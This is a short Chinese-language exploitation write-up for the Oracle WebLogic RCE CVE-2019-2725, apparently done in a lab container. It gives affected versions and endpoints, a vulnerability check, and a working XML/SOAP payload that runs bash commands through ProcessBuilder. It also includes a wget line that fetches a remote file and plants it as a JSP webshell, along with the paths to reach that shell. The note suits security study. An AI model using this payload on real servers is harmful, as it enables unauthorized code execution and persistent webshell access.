漏洞条件
- Oracle WebLogic Server 10.*, 12.1.3
漏洞原理
此漏洞实际上是CVE-2017-10271的又一入口
影响组件:
- bea_wls9_async_response.war
- wsat.war
默认受到影响的URI:
/_async/AsyncResponseService
/_async/AsyncResponseServiceJms
/_async/AsyncResponseServiceHttps
/_async/AsyncResponseServiceSoap12
/_async/AsyncResponseServiceSoap12Jms
/_async/AsyncResponseServiceSoap12Https
具体分析:
Weblogic反序列化远程代码执行漏洞(CVE-2019-2725)分析报告
漏洞利用
验证是否存在
访问 /_async/AsyncResponseService
, 返回200则存在,404则不存在。
通用无回显 poc
向 /_async/AsyncResponseService
发送 XMLPoc,连接类型 content-type: text/xml
:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>touch /tmp/hello</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
如果 res.status_code == 202 则可以判断利用成功
到容器里面查看文件
可以通过访问 /_async/AsyncResponseService?info
页面来查看如是用命令执行来上传文件的路径:
使用 wget
命令从远程服务器中下载文件:
<string>wget http://x.x.x.x/shell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/1.jsp</string>
上传之后访问路径为:/_async/1.jsp
经过测试后该路径同样能够上传文件并访问:servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/
访问路径为:http://your-ip:7001/bea_wls_internal/1.jsp
特殊版本的命令回显
这里使用的是:lufeirider/CVE-2019-2725,大佬提供了10.3.6和12.1.3版本的有回显漏洞检测以及有回显的命令执行payload。
payload太长了就不贴过来了,注意这里使用的URL是CVE-2017-10271 中的URL,所以我感觉应该算是那边的利用方法?(不懂)